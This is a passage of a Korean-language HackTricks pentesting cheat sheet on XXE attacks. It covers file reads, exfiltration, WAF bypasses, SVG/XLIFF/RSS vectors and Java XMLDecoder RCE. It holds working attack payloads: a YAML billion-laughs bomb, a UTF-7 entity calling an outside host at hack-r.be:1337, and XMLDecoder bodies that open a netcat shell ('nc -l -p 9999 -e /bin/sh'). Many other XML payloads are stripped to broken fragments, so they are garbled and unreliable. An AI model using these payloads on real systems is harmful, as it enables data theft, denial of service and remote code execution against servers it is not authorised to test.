μ•„μΉ΄μ΄λΈŒ λ‚΄μ˜ νŒŒμΌμ— μ ‘κ·Όν•˜λŠ” 과정은 μ—¬λŸ¬ 단계λ₯Ό ν¬ν•¨ν•©λ‹ˆλ‹€: 1. `https://download.website.com/archive.zip`와 같은 μ§€μ •λœ μœ„μΉ˜μ—μ„œ zip μ•„μΉ΄μ΄λΈŒλ₯Ό λ‹€μš΄λ‘œλ“œν•˜κΈ° μœ„ν•΄ HTTP μš”μ²­μ΄ μ΄λ£¨μ–΄μ§‘λ‹ˆλ‹€. 2. μ•„μΉ΄μ΄λΈŒλ₯Ό ν¬ν•¨ν•˜λŠ” HTTP 응닡은 μ‹œμŠ€ν…œμ— μž„μ‹œλ‘œ μ €μž₯되며, 일반적으둜 `/tmp/...`와 같은 μœ„μΉ˜μ— μ €μž₯λ©λ‹ˆλ‹€. 3. μ•„μΉ΄μ΄λΈŒκ°€ μΆ”μΆœλ˜μ–΄ κ·Έ λ‚΄μš©μ„ μ ‘κ·Όν•©λ‹ˆλ‹€. 4. μ•„μΉ΄μ΄λΈŒ λ‚΄μ˜ νŠΉμ • 파일인 `file.zip`이 μ½νž™λ‹ˆλ‹€. 5. μž‘μ—… ν›„, 이 κ³Όμ •μ—μ„œ μƒμ„±λœ μž„μ‹œ νŒŒμΌμ€ μ‚­μ œλ©λ‹ˆλ‹€. 이 κ³Όμ •μ˜ 두 번째 λ‹¨κ³„μ—μ„œ 이 ν”„λ‘œμ„ΈμŠ€λ₯Ό μ€‘λ‹¨ν•˜λŠ” ν₯미둜운 κΈ°μˆ μ€ μ•„μΉ΄μ΄λΈŒ νŒŒμΌμ„ μ œκ³΅ν•  λ•Œ μ„œλ²„ 연결을 λ¬΄ν•œμ • μ—΄μ–΄λ‘λŠ” κ²ƒμž…λ‹ˆλ‹€. [이 μ €μž₯μ†Œ](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)μ—μ„œ μ‚¬μš©ν•  수 μžˆλŠ” λ„κ΅¬μ—λŠ” Python μ„œλ²„(`slow_http_server.py`)와 Java μ„œλ²„(`slowserver.jar`)κ°€ ν¬ν•¨λ©λ‹ˆλ‹€. ```xml ]> &xxe; ``` {% hint style="danger" %} μž„μ‹œ 디렉토리에 νŒŒμΌμ„ μž‘μ„±ν•˜λŠ” 것은 **경둜 탐색과 κ΄€λ ¨λœ λ‹€λ₯Έ 취약점을 μƒμŠΉμ‹œν‚€λŠ” 데 도움이 될 수 μžˆμŠ΅λ‹ˆλ‹€** (예: 둜컬 파일 포함, ν…œν”Œλ¦Ώ μ£Όμž…, XSLT RCE, 역직렬화 λ“±). {% endhint %} ### XSS ```xml script]]>alert(1)/script]]> ``` ### DoS #### μ–΅λ§Œ μ›ƒμŒ 곡격 ```xml ]> &a4; ``` #### Yaml 곡격 ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` #### Quadratic Blowup Attack ![](<../.gitbook/assets/image (527).png>) #### NTML μ–»κΈ° Windows ν˜ΈμŠ€νŠΈμ—μ„œλŠ” responder.py ν•Έλ“€λŸ¬λ₯Ό μ„€μ •ν•˜μ—¬ μ›Ή μ„œλ²„ μ‚¬μš©μžμ˜ NTML ν•΄μ‹œλ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€: ```bash Responder.py -I eth0 -v ``` λ‹€μŒ μš”μ²­μ„ 보내면 ```xml ]> &example; ``` Then you can try to crack the hash using hashcat ## Hidden XXE Surfaces ### XInclude μ„œλ²„ μΈ‘ XML λ¬Έμ„œμ— ν΄λΌμ΄μ–ΈνŠΈ 데이터λ₯Ό 톡합할 λ•Œ, λ°±μ—”λ“œ SOAP μš”μ²­κ³Ό 같은 경우, XML ꡬ쑰에 λŒ€ν•œ 직접적인 μ œμ–΄κ°€ μ’…μ’… μ œν•œλ˜μ–΄ `DOCTYPE` μš”μ†Œλ₯Ό μˆ˜μ •ν•˜λŠ” 데 μ œμ•½μ΄ μžˆμ–΄ 전톡적인 XXE 곡격이 μ–΄λ €μ›Œμ§‘λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ `XInclude` 곡격은 XML λ¬Έμ„œμ˜ 데이터 μš”μ†Œ 내에 μ™ΈλΆ€ μ—”ν‹°ν‹°λ₯Ό μ‚½μž…ν•  수 μžˆλ„λ‘ ν•˜μ—¬ 해결책을 μ œκ³΅ν•©λ‹ˆλ‹€. 이 방법은 μ„œλ²„μ—μ„œ μƒμ„±λœ XML λ¬Έμ„œ λ‚΄μ˜ 데이터 μΌλΆ€λ§Œ μ œμ–΄ν•  수 μžˆλŠ” κ²½μš°μ—λ„ νš¨κ³Όμ μž…λ‹ˆλ‹€. `XInclude` 곡격을 μ‹€ν–‰ν•˜λ €λ©΄ `XInclude` λ„€μž„μŠ€νŽ˜μ΄μŠ€λ₯Ό μ„ μ–Έν•˜κ³ , μ˜λ„ν•œ μ™ΈλΆ€ μ—”ν‹°ν‹°μ˜ 파일 경둜λ₯Ό 지정해야 ν•©λ‹ˆλ‹€. μ•„λž˜λŠ” μ΄λŸ¬ν•œ 곡격을 μ–΄λ–»κ²Œ ꡬ성할 수 μžˆλŠ”μ§€μ— λŒ€ν•œ κ°„κ²°ν•œ μ˜ˆμž…λ‹ˆλ‹€: ```xml productId=&storeId=1 ``` Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! ### SVG - 파일 μ—…λ‘œλ“œ μ‚¬μš©μžκ°€ νŠΉμ • μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μ—…λ‘œλ“œν•œ νŒŒμΌμ€ μ„œλ²„μ—μ„œ 처리되며, XML λ˜λŠ” XML을 ν¬ν•¨ν•˜λŠ” 파일 ν˜•μ‹μ΄ μ²˜λ¦¬λ˜λŠ” λ°©μ‹μ˜ 취약점을 μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ˜€ν”ΌμŠ€ λ¬Έμ„œ(DOCX) 및 이미지(SVG)와 같은 일반적인 파일 ν˜•μ‹μ€ XML을 기반으둜 ν•©λ‹ˆλ‹€. μ‚¬μš©μžκ°€ **이미지λ₯Ό μ—…λ‘œλ“œν•  λ•Œ**, μ΄λŸ¬ν•œ μ΄λ―Έμ§€λŠ” μ„œλ²„ μΈ‘μ—μ„œ μ²˜λ¦¬λ˜κ±°λ‚˜ κ²€μ¦λ©λ‹ˆλ‹€. PNG λ˜λŠ” JPEG와 같은 ν˜•μ‹μ„ κΈ°λŒ€ν•˜λŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ κ²½μš°μ—λ„ **μ„œλ²„μ˜ 이미지 처리 λΌμ΄λΈŒλŸ¬λ¦¬λŠ” SVG 이미지λ₯Ό 지원할 수 μžˆμŠ΅λ‹ˆλ‹€**. XML 기반 ν˜•μ‹μΈ SVGλŠ” κ³΅κ²©μžκ°€ μ•…μ„± SVG 이미지λ₯Ό μ œμΆœν•˜μ—¬ μ„œλ²„λ₯Ό XXE(XML External Entity) 취약점에 λ…ΈμΆœμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€. μ•„λž˜λŠ” μ‹œμŠ€ν…œ νŒŒμΌμ„ μ½μœΌλ €λŠ” μ•…μ„± SVG μ΄λ―Έμ§€μ˜ μ˜ˆμž…λ‹ˆλ‹€: ```xml ``` 또 λ‹€λ₯Έ 방법은 PHP "expect" 래퍼λ₯Ό 톡해 **λͺ…λ Ή μ‹€ν–‰**을 μ‹œλ„ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€: ```xml ``` 두 경우 λͺ¨λ‘ SVG ν˜•μ‹μ΄ μ„œλ²„ μ†Œν”„νŠΈμ›¨μ–΄μ˜ XML 처리 κΈ°λŠ₯을 μ•…μš©ν•˜λŠ” 곡격을 μ‹œμž‘ν•˜λŠ” 데 μ‚¬μš©λ˜λ©°, μ΄λŠ” κ°•λ ₯ν•œ μž…λ ₯ 검증 및 λ³΄μ•ˆ 쑰치의 ν•„μš”μ„±μ„ κ°•μ‘°ν•©λ‹ˆλ‹€. μžμ„Έν•œ λ‚΄μš©μ€ [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)λ₯Ό ν™•μΈν•˜μ„Έμš”! **읽기 파일의 첫 번째 쀄 λ˜λŠ” μ‹€ν–‰ κ²°κ³ΌλŠ” μƒμ„±λœ 이미지 내뢀에 λ‚˜νƒ€λ‚©λ‹ˆλ‹€. λ”°λΌμ„œ SVGκ°€ μƒμ„±ν•œ 이미지에 μ ‘κ·Όν•  수 μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€.** ### **PDF - 파일 μ—…λ‘œλ“œ** λ‹€μŒ κ²Œμ‹œλ¬Όμ„ 읽고 **PDF νŒŒμΌμ„ μ—…λ‘œλ“œν•˜μ—¬ XXEλ₯Ό μ•…μš©ν•˜λŠ” 방법을 λ°°μš°μ„Έμš”**: {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) {% endcontent-ref %} ### Content-Type: x-www-urlencodedμ—μ„œ XML둜 POST μš”μ²­μ΄ XML ν˜•μ‹μ˜ 데이터λ₯Ό μˆ˜μš©ν•˜λŠ” 경우, ν•΄λ‹Ή μš”μ²­μ—μ„œ XXEλ₯Ό μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, 일반 μš”μ²­μ΄ λ‹€μŒμ„ ν¬ν•¨ν•˜λŠ” 경우: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar ``` 그럼 λ‹€μŒ μš”μ²­μ„ μ œμΆœν•  수 μžˆμ„ κ²ƒμž…λ‹ˆλ‹€. 같은 κ²°κ³Όλ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€: ```xml POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 bar ``` ### Content-Type: From JSON to XEE μš”μ²­μ„ λ³€κ²½ν•˜λ €λ©΄ β€œ**Content Type Converter**β€λΌλŠ” Burp ν™•μž₯을 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. [μ—¬κΈ°](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)μ—μ„œ 이 예제λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€: ```xml Content-Type: application/json;charset=UTF-8 {"root": {"root": { "firstName": "Avinash", "lastName": "", "country": "United States", "city": "ddd", "postalCode": "ddd" }}} ``` ```xml Content-Type: application/xml;charset=UTF-8 ]> &xxe; United States ddd ddd ``` 또 λ‹€λ₯Έ μ˜ˆλŠ” [μ—¬κΈ°](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. ## WAF 및 보호 우회 ### Base64 ```xml %init; ]> ``` 이것은 XML μ„œλ²„κ°€ `data://` ν”„λ‘œν† μ½œμ„ μˆ˜μš©ν•  λ•Œλ§Œ μž‘λ™ν•©λ‹ˆλ‹€. ### UTF-7 μ—¬κΈ°μ„œ \[**"Encode Recipe**" of cyberchefλ₯Ό μ‚¬μš©ν•˜μ—¬]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7둜 λ³€ν™˜ν•©λ‹ˆλ‹€. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- ``` ```xml +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` ### File:/ Protocol Bypass 웹이 PHPλ₯Ό μ‚¬μš©ν•˜κ³  μžˆλ‹€λ©΄, `file:/` λŒ€μ‹  **php wrappers**`php://filter/convert.base64-encode/resource=`λ₯Ό μ‚¬μš©ν•˜μ—¬ **λ‚΄λΆ€ 파일**에 μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€. 웹이 Javaλ₯Ό μ‚¬μš©ν•˜κ³  μžˆλ‹€λ©΄ [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol)을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. ### HTML Entities [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)μ—μ„œμ˜ 트릭\ **html entities**둜 μΈμ½”λ”©λœ **μ—”ν‹°ν‹° μ•ˆμ— μ—”ν‹°ν‹°**λ₯Ό μƒμ„±ν•œ λ‹€μŒ, 이λ₯Ό ν˜ΈμΆœν•˜μ—¬ **dtd**λ₯Ό **λ‘œλ“œ**ν•  수 μžˆμŠ΅λ‹ˆλ‹€.\ μ‚¬μš©λ˜λŠ” **HTML Entities**λŠ” **숫자**μ—¬μ•Ό ν•©λ‹ˆλ‹€ (예λ₯Ό λ“€μ–΄ \[이 μ˜ˆμ œμ—μ„œ\]([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). ```xml %a;%dtd;]> &exfil; ``` DTD 예제: ```xml "> %abt; %exfil; ``` ## PHP Wrappers ### Base64 **μΆ”μΆœ** _**index.php**_ ```xml ]> ``` #### **μ™ΈλΆ€ λ¦¬μ†ŒμŠ€ μΆ”μΆœ** ```xml ]> ``` ### 원격 μ½”λ“œ μ‹€ν–‰ **PHP "expect" λͺ¨λ“ˆμ΄ λ‘œλ“œλœ 경우** ```xml ]> &xxe; mypass ``` ## **SOAP - XEE** ```xml %dtd;]>]]> ``` ## XLIFF - XXE 이 μ˜ˆμ‹œλŠ” [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)μ—μ„œ μ˜κ°μ„ λ°›μ•˜μŠ΅λ‹ˆλ‹€. XLIFF (XML Localization Interchange File Format)λŠ” ν˜„μ§€ν™” ν”„λ‘œμ„ΈμŠ€μ—μ„œ 데이터 κ΅ν™˜μ„ ν‘œμ€€ν™”ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. μ΄λŠ” 주둜 ν˜„μ§€ν™” 쀑 도ꡬ 간에 지역화 κ°€λŠ₯ν•œ 데이터λ₯Ό μ „μ†‘ν•˜κ³  CAT (Computer-Aided Translation) 도ꡬλ₯Ό μœ„ν•œ 곡톡 κ΅ν™˜ ν˜•μ‹μœΌλ‘œ μ‚¬μš©λ˜λŠ” XML 기반 ν˜•μ‹μž…λ‹ˆλ‹€. ### Blind Request Analysis λ‹€μŒ λ‚΄μš©μ„ ν¬ν•¨ν•˜μ—¬ μ„œλ²„μ— μš”μ²­μ΄ μ „μ†‘λ©λ‹ˆλ‹€: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` κ·ΈλŸ¬λ‚˜ 이 μš”μ²­μ€ λ‚΄λΆ€ μ„œλ²„ 였λ₯˜λ₯Ό λ°œμƒμ‹œν‚€λ©°, 특히 λ§ˆν¬μ—… μ„ μ–Έκ³Ό κ΄€λ ¨λœ 문제λ₯Ό μ–ΈκΈ‰ν•©λ‹ˆλ‹€: ```json {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} ``` 버프 μ½œλΌλ³΄λ ˆμ΄ν„°μ—μ„œ 였λ₯˜μ—λ„ λΆˆκ΅¬ν•˜κ³  νžˆνŠΈκ°€ κΈ°λ‘λ˜μ–΄ μ™ΈλΆ€ μ—”ν‹°ν‹°μ™€μ˜ μƒν˜Έμž‘μš©μ΄ μ–΄λŠ 정도 μžˆμŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. Out of Band Data Exfiltration 데이터λ₯Ό μœ μΆœν•˜κΈ° μœ„ν•΄ μˆ˜μ •λœ μš”μ²­μ΄ μ „μ†‘λ©λ‹ˆλ‹€: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` 이 μ ‘κ·Ό 방식은 User Agentκ°€ Java 1.8의 μ‚¬μš©μ„ λ‚˜νƒ€λ‚Έλ‹€λŠ” 것을 λ³΄μ—¬μ€λ‹ˆλ‹€. 이 λ²„μ „μ˜ Java의 μ£Όλͺ©ν•  λ§Œν•œ μ œν•œ 사항은 Out of Band κΈ°μˆ μ„ μ‚¬μš©ν•˜μ—¬ /etc/passwd와 같은 쀄 λ°”κΏˆ λ¬Έμžκ°€ ν¬ν•¨λœ νŒŒμΌμ„ 검색할 수 μ—†λ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€. Error-Based Data Exfiltration 이 μ œν•œμ„ κ·Ήλ³΅ν•˜κΈ° μœ„ν•΄ Error-Based μ ‘κ·Ό 방식이 μ‚¬μš©λ©λ‹ˆλ‹€. DTD νŒŒμΌμ€ λ‹€μŒκ³Ό 같이 κ΅¬μ‘°ν™”λ˜μ–΄ λŒ€μƒ 파일의 데이터λ₯Ό ν¬ν•¨ν•˜λŠ” 였λ₯˜λ₯Ό μœ λ°œν•©λ‹ˆλ‹€: ```xml "> %foo; %xxe; ``` μ„œλ²„λŠ” 였λ₯˜λ‘œ μ‘λ‹΅ν•˜λ©°, μ€‘μš”ν•˜κ²Œλ„ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” νŒŒμΌμ„ λ°˜μ˜ν•˜κ³ , μ„œλ²„κ°€ μ§€μ •λœ νŒŒμΌμ— μ ‘κ·Όν•˜λ €κ³  μ‹œλ„ν•˜κ³  μžˆμŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` 파일의 λ‚΄μš©μ„ 였λ₯˜ λ©”μ‹œμ§€μ— ν¬ν•¨μ‹œν‚€κΈ° μœ„ν•΄ DTD 파일이 μ‘°μ •λ©λ‹ˆλ‹€: ```xml "> %foo; %xxe; ``` 이 μˆ˜μ •μ€ HTTPλ₯Ό 톡해 μ „μ†‘λœ 였λ₯˜ 좜λ ₯에 λ°˜μ˜λ˜λ―€λ‘œ 파일 λ‚΄μš©μ˜ 성곡적인 유좜둜 μ΄μ–΄μ§‘λ‹ˆλ‹€. μ΄λŠ” λ―Όκ°ν•œ 정보λ₯Ό μΆ”μΆœν•˜κΈ° μœ„ν•΄ Out of Band 및 Error-Based κΈ°μˆ μ„ λͺ¨λ‘ ν™œμš©ν•œ 성곡적인 XXE (XML External Entity) 곡격을 λ‚˜νƒ€λƒ…λ‹ˆλ‹€. ## RSS - XEE XXE 취약점을 μ•…μš©ν•˜κΈ° μœ„ν•œ RSS ν˜•μ‹μ˜ μœ νš¨ν•œ XML. ### Ping back 곡격자의 μ„œλ²„λ‘œμ˜ κ°„λ‹¨ν•œ HTTP μš”μ²­ ```xml /rssXXE" >]> XXE Test Blog http://example.com/ XXE Test Blog Mon, 02 Feb 2015 00:00:00 -0000 &xxe; http://example.com Test Post author@example.com Mon, 02 Feb 2015 00:00:00 -0000 ``` ### 파일 읽기 ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ### μ†ŒμŠ€ μ½”λ“œ 읽기 PHP base64 ν•„ν„° μ‚¬μš© ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ## Java XMLDecoder XEE to RCE XMLDecoderλŠ” XML λ©”μ‹œμ§€λ₯Ό 기반으둜 객체λ₯Ό μƒμ„±ν•˜λŠ” Java ν΄λž˜μŠ€μž…λ‹ˆλ‹€. μ•…μ˜μ μΈ μ‚¬μš©μžκ°€ **readObject** λ©”μ„œλ“œ ν˜ΈμΆœμ— μž„μ˜μ˜ 데이터λ₯Ό μ‚¬μš©ν•˜λ„λ‘ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μœ λ„ν•  수 μžˆλ‹€λ©΄, κ·ΈλŠ” μ¦‰μ‹œ μ„œλ²„μ—μ„œ μ½”λ“œ μ‹€ν–‰ κΆŒν•œμ„ μ–»κ²Œ λ©λ‹ˆλ‹€. ### Using Runtime().exec() ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ### ProcessBuilder ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ## 도ꡬ {% embed url="https://github.com/luisfontes19/xxexploiter" %} ## 참고자료 * [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\ * [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\ * HTTPλ₯Ό 톡해 자체 μ™ΈλΆ€ DTDλ₯Ό μ‚¬μš©ν•˜μ—¬ 정보 μΆ”μΆœ: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\ * [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\ * [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\ * [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ * [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{% embed url="https://websec.nl/" %} {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}